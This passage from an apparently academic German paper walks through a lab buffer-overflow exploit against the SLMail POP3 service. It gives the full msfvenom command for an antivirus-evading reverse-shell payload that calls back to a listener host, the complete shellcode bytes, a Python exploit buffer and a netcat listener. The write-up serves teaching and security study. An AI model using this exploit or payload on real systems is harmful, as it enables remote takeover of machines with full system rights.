Als Ergebnis werden 19 Speicheradressen innerhalb der \texttt{SLMFC.DLL} aufgeführt und nachfolgend schlicht die Erste unter \texttt{0x5f4a358f} genutzt.

Der Grund dafür, dass alle der zuvor erwähnten vier Schutzmaßnahmen für die verwendete \ac{dll} deaktiviert sein müssen ist übrigens, dass diese u. a. dafür sorgen, dass die Speicheradressen aller Anweisungen innerhalb der \ac{dll} bei jedem Start der Anwendung zufällig angeordnet werden, also dynamisch sind. Somit wäre die Sprunganweisung bei einem Neustart der Anwendung nicht mehr unter der Speicheradresse \texttt{0x5f4a358f} zu finden \cite{Messner2017}. Es gibt zwar einige Methoden, um diese Maßnahmen zu umgehen, beispielsweise ROP Chains\footnote{\url{https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/}} zur Überwindung von NXCompat, auf welche an dieser Stelle allerdings nicht weiter eingegangen wird.

\subsection{Generierung eines Payloads in Form einer Reverse-Shell} Zur Generierung des Payloads für die \ac{ace} werden nachfolgend noch einmal alle Informationen zusammengefasst:

\begin{description}

   \item[Offset] Das Offset zum \ac{eip} beträgt 2606 Bytes.
   \item[Ungültige Zeichen] Die identifizierten ungültigen Zeichen sind \texttt{\textbackslash{}x00}, \texttt{\textbackslash{}x0a} und \texttt{\textbackslash{}x0d}.
   \item[\ac{eip}] Die Speicheradresse mit einer Sprunganweisung nach \ac{esp} ist \texttt{0x5f4a358f}. Aufgrund der Konvention von Little-Endian- und Big-Endian-Systemen muss diese zur weiteren Verwendung jedoch ebenfalls noch nach \texttt{0x8f354a5f} invertiert werden (vgl. Abschnitt \ref{S:Bestimmung-des-Offsets-zur-Ruecksprungadresse}).

\end{description}

Basierend auf diesen Informationen kann nun unter Beachtung aller anwendungsspezifischen Gegebenheiten ein Payload generiert werden. Zu diesem Zweck stellt Metasploit das Hilfsprogramm \texttt{msfvenom} zur Verfügung (vgl. Tabelle \ref{T:Beschreibung-der-verwendeten-msfvenom-Optionen}).

{ \rowcolors{2}{questiongrey}{questiongrey} \begin{tabularx}{\linewidth}{|l|X|}

   \hline
   \rowcolor{questionblack}\multicolumn{2}{|l|}{\color{white}\bfseries \texttt{/usr/bin/msfvenom} \cite{Messner2017}}\\ \hline
   \endfirsthead
   \texttt{-a x86} & Die zu verwendende Architektur (siehe Microsoft Windows 7 (x86)).\\ \hline
   \texttt{--platform Windows} & Die zu verwendende Plattform, hier Microsoft Windows.\\ \hline
   \texttt{-p windows/shell\_reverse\_tcp} & Den zu verwendenden vorgefertigten Payload, hier eine einfache Reverse-Shell.\\ \hline
   \texttt{LHOST=10.10.10.129} & Die IPv4-Adresse des externen Ziel-Hosts, hier das Kali Linux System.\\ \hline
   \texttt{LPORT=443} & Der Port auf dem der externe Ziel-Host auf eine eingehende Verbindung wartet. Die Verwendung von Well-Known-Ports (0 bis 1023) kann dabei zu einer Umgehung der Windows Firewall führen.\\ \hline
   \texttt{EXITFUNC=thread} & Die \texttt{EXITFUNC=thread} wird in den meisten Szenarien verwendet, bei denen der angreifbare Prozess den Payload in einem Kindprozess ausführt. Dadurch führt das Beenden des Kindprozesses häufig wieder zu einer stabilen Anwendung (Clean-Exit).\\ \hline
   \texttt{-b \"{}\textbackslash{}x00\textbackslash{}x0a\textbackslash{}x0d\"} & Angabe aller ungültigen Zeichen, welche bei der Generierung des Exploits nicht verwendet werden dürfen.\\ \hline
   \texttt{-e x86/shikata\_ga\_nai} & Angabe des zu verwendenden Encoders, hier \texttt{shikata\_ga\_nai}. Dieser Encoder implementiert einen polymorphen XOR-Encoder mit additivem Feedback. Der Decoder-Stub wird auf der Basis von dynamischer Befehlssubstitution und dynamischer Blockreihenfolge erzeugt. Die Register werden ebenfalls dynamisch ausgewählt. Dies kann bei der Umgehung von Virenschutz-Programmen helfen \cite{Miller2019}.\\ \hline
   \texttt{-f python} & Angabe des Ausgabeformats, hier Python.\\ \hline
   \rowcolor{white}
   \caption{Beschreibung der verwendeten \texttt{msfvenom}-Optionen}\label{T:Beschreibung-der-verwendeten-msfvenom-Optionen}

\end{tabularx} }

Die Ausführung von \texttt{msfvenom} mit den zuvor aufgeführten Optionen unter Kali Linux ergibt die folgende Ausgabe.

\begin{code} \begin{minted}[breaklines,breakanywhere,linenos]{shell} /usr/bin/msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.10.129 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of python file: 1712 bytes buf = b"" buf += b"\xbb\xb5\x25\xf3\x34\xdb\xd0\xd9\x74\x24\xf4\x58\x33" buf += b"\xc9\xb1\x52\x83\xc0\x04\x31\x58\x0e\x03\xed\x2b\x11" buf += b"\xc1\xf1\xdc\x57\x2a\x09\x1d\x38\xa2\xec\x2c\x78\xd0" buf += b"\x65\x1e\x48\x92\x2b\x93\x23\xf6\xdf\x20\x41\xdf\xd0" buf += b"\x81\xec\x39\xdf\x12\x5c\x79\x7e\x91\x9f\xae\xa0\xa8" buf += b"\x6f\xa3\xa1\xed\x92\x4e\xf3\xa6\xd9\xfd\xe3\xc3\x94" buf += b"\x3d\x88\x98\x39\x46\x6d\x68\x3b\x67\x20\xe2\x62\xa7" buf += b"\xc3\x27\x1f\xee\xdb\x24\x1a\xb8\x50\x9e\xd0\x3b\xb0" buf += b"\xee\x19\x97\xfd\xde\xeb\xe9\x3a\xd8\x13\x9c\x32\x1a" buf += b"\xa9\xa7\x81\x60\x75\x2d\x11\xc2\xfe\x95\xfd\xf2\xd3" buf += b"\x40\x76\xf8\x98\x07\xd0\x1d\x1e\xcb\x6b\x19\xab\xea" buf += b"\xbb\xab\xef\xc8\x1f\xf7\xb4\x71\x06\x5d\x1a\x8d\x58" buf += b"\x3e\xc3\x2b\x13\xd3\x10\x46\x7e\xbc\xd5\x6b\x80\x3c" buf += b"\x72\xfb\xf3\x0e\xdd\x57\x9b\x22\x96\x71\x5c\x44\x8d" buf += b"\xc6\xf2\xbb\x2e\x37\xdb\x7f\x7a\x67\x73\xa9\x03\xec" buf += b"\x83\x56\xd6\xa3\xd3\xf8\x89\x03\x83\xb8\x79\xec\xc9" buf += b"\x36\xa5\x0c\xf2\x9c\xce\xa7\x09\x77\xfb\x3d\x1b\x06" buf += b"\x93\x43\x1b\x09\xdf\xcd\xfd\x63\x0f\x98\x56\x1c\xb6" buf += b"\x81\x2c\xbd\x37\x1c\x49\xfd\xbc\x93\xae\xb0\x34\xd9" buf += b"\xbc\x25\xb5\x94\x9e\xe0\xca\x02\xb6\x6f\x58\xc9\x46" buf += b"\xf9\x41\x46\x11\xae\xb4\x9f\xf7\x42\xee\x09\xe5\x9e" buf += b"\x76\x71\xad\x44\x4b\x7c\x2c\x08\xf7\x5a\x3e\xd4\xf8" buf += b"\xe6\x6a\x88\xae\xb0\xc4\x6e\x19\x73\xbe\x38\xf6\xdd" buf += b"\x56\xbc\x34\xde\x20\xc1\x10\xa8\xcc\x70\xcd\xed\xf3" buf += b"\xbd\x99\xf9\x8c\xa3\x39\x05\x47\x60\x59\xe4\x4d\x9d" buf += b"\xf2\xb1\x04\x1c\x9f\x41\xf3\x63\xa6\xc1\xf1\x1b\x5d" buf += b"\xd9\x70\x19\x19\x5d\x69\x53\x32\x08\x8d\xc0\x33\x19" \end{minted} \captionof*{listing}{Ausgabe des generierten Payloads in Form einer Reverse-Shell mit \texttt{msfvenom}} \end{code}

Die Ausgabe kann nun als Payload zusammen mit der Speicheradresse der Sprunganweisung nach \ac{esp} in invertierter Form (\texttt{0x8f354a5f}) sowie einigen \ac{nop}-Anweisungen (\texttt{\textbackslash{}x90}) in die Python Anwendung eingefügt werden. Daraus ergibt sich der folgende finale Gesamtaufbau des Stacks.

Abbildung 14: Der Adressraum von SLMail mit Buffer-Overflow (Quelle: Eigene Darstellung)

Die \ac{nop}-Anweisungen führen, wie deren Name bereits vermuten lässt, keinen Code aus. Diese dienen lediglich als Platzhalter zwischen dem \ac{eip} und dem \ac{esp}, um mögliche Probleme bei der Ausführung der Reverse-Shell zu vermeiden. Die Ursache für mögliche Probleme bestehen im Kontext des hiesigen Buffer-Overflows vor allem darin, dass sich die Speicheradresse des \ac{esp} durch etwaige Seiteneffekte leicht nach oben verschieben kann. Durch das Einfügen der \ac{nop}-Anweisungen wird somit dafür gesorgt, dass mögliche Abweichungen bei der Speicheradresse des \ac{esp} kompensiert werden und der Payload zuverlässig zur Ausführung kommt \cite{Schaefer2003, Eckert2018}.

\begin{code} \begin{minted}[breaklines,breakanywhere,linenos]{python} def send_buffer(ip, port=110):

   # Buffer-Aufbau: Offset + ESP-Sprungadresse + NOP-Slides + Reverse-Shell
   buffer = b'A' * 2606 + b'\x8f\x35\x4a\x5f' + b'\x90' * 16 + \
            b'\xbb\xb5\x25\xf3\x34\xdb\xd0\xd9\x74\x24\xf4\x58\x33\xc9\xb1' \
            b'\x52\x83\xc0\x04\x31\x58\x0e\x03\xed\x2b\x11\xc1\xf1\xdc\x57' \
            [...]
            b'\x32\x08\x8d\xc0\x33\x19'

   [...]

\end{minted} \captionof{listing}{Python POP3 Send-Funktion mit Reverse-Shell-Payload (Quelle: Eigenentwicklung)}\label{C:Python-POP3-Send-Funktion-mit-Reverse-Shell-Exploit} \end{code}

Da es sich um eine Reverse-Shell handelt, muss vor der Ausführung von Quellcode \ref{C:Python-POP3-Send-Funktion-mit-Reverse-Shell-Exploit} noch auf eingehende Verbindungen auf dem Ziel-Host unter Port 443 gewartet werden. Dies kann mit OpenBSD-Netcat realisiert werden.

\begin{code} \begin{minted}[breaklines,breakanywhere,linenos]{shell} sudo nc -nlvp 443 \end{minted} \captionof{listing}{Starten des OpenBSD-Netcat Listeners unter Port 443 \cite{Jackson2021}}\label{C:OpenBSD-Netcat-Listener-unter-Port-443} \end{code}

Als Ergebnis erhält man abschließend eine Reverse-Shell vom SLMail-Server zum Ziel-Host mit vollen Systemberechtigungen (vgl. Abbildung \ref{F:Reverse-Shell-mit-vollen-Systemberechtigungen}), da der Dienst selbst mit den gleichen Berechtigungen ausgeführt wird.

Abbildung 15: Reverse-Shell mit vollen Systemberechtigungen (Quelle: Eigener Screenshot)

Literaturverzeichnis

[1] OWASP Foundation. Buffer Overflow. Webseite. https://owasp.org/www-community/vulnerabilities/Buffer_Overflow; abgerufen am 25. April 2021, 19:50 Uhr. 2020.

[2] Günter Schäfer und Michael Rossberg. „Netzsicherheit: Grundlagen & Protokolle - Mobile & drahtlose Kommunikation - Schutz von Kommunikationsinfrastrukturen“. In: 2. Auflage. dpunkt.verlag, 2014. Kap. 17.2.1, S. 449–452. ISBN: 978-3-86490-115-7.

[3] Elias Levy. Smashing The Stack For Fun And Profit. Webseite. https://insecure.org/stf/smashstack.html; abgerufen am 25. April 2021, 20:00 Uhr. 2006.

[4] Claudia Eckert. „IT-Sicherheit: Konzepte - Verfahren - Protokolle“. In: 10. Auflage. Walterde Gruyter, 2018. Kap. 2.2 - 2.2.2, S. 45–51. ISBN: 978-3-11-055158-7.

[5] Elias Bachaalany und Sébastien Josse Bruce Dang Alexandre Gazet. „Practical ReverseEngineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation“. In: 1.Auflage. John Wiley & Sons, 2014. Kap. 1, S. 1–38. ISBN: 978-1-118-78731-1.

[6] Christoforos Petrou. Buffer overflow: Why does the ESP Register change its value afteran access violation?Webseite. https://security.stackexchange.com/a/182473; abgerufen am 14. Juni 2021, 17:50 Uhr. 2018.

[7] OWASP Foundation. Fuzzing. Webseite. https://owasp.org/www-community/Fuzzing;abgerufen am 26. April 2021, 11:20 Uhr. 2020.

[8] John Myers und Marshall Rose. Post Office Protocol - Version 3. Webseite. https://tools.ietf.org/html/rfc1939; abgerufen am 26. April 2021, 11:30 Uhr. 1996.

[9] Michael Messner. „Hacking mit Metasploit: Das umfassende Handbuch zu PenetrationTesting und Metasploit“. In: 3. Auflage. dpunkt.verlag, 2017. Kap. 10.2.3 - 10.11, S. 409–449. ISBN: 978-3-86490-523-0.

[10] Offensive Security Services LLC. Writing an Exploit. Webseite. https://www.offensive-security.com/metasploit-unleashed/writing-an-exploit/; abgerufen am 27. April 2021, 10:30 Uhr. 2020.

[11] David Cary. DAV’s Endian FAQ. Webseite. http://david.carybros.com/html/endian_faq.html; abgerufen am 20. Juni 2021, 15:35 Uhr. 2002.

[12] OWASP Foundation. Embedding Null Code. Webseite. https://owasp.org/www-community/attacks/Embedding_Null_Code; abgerufen am 23. Juni 2021, 13:55 Uhr. 2020.

[13] Wikipedia-Autoren. Newline. Webseite. https://en.wikipedia.org/w/index.php?title=Newline&oldid=1019827553; abgerufen am 27. April 2021, 14:50 Uhr. 2021.

[14] Evan Reese und Nick Carr Steve Miller. Shikata Ga Nai Encoder Still Going Strong. Webseite. https://www.fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html; abgerufen am 28. Juni 2021, 17:00 Uhr. 2019.

[15] Eric Jackson. nc(1) - OpenBSD manual pages. Webseite. https://man.openbsd.org/nc.1; abgerufen am 30. Juni 2021, 16:20 Uhr. 2021.

Abkürzungsverzeichnis

• Arbitrary Code Execution (ACE)
• Buffer-Overflow (BOF)
• Dynamic Link Library (DLL)
• Extended Base Pointer (EBP)
• Extended Instruction Pointer (EIP)
• Extended Stack Pointer (ESP)
• No Operation (NOP)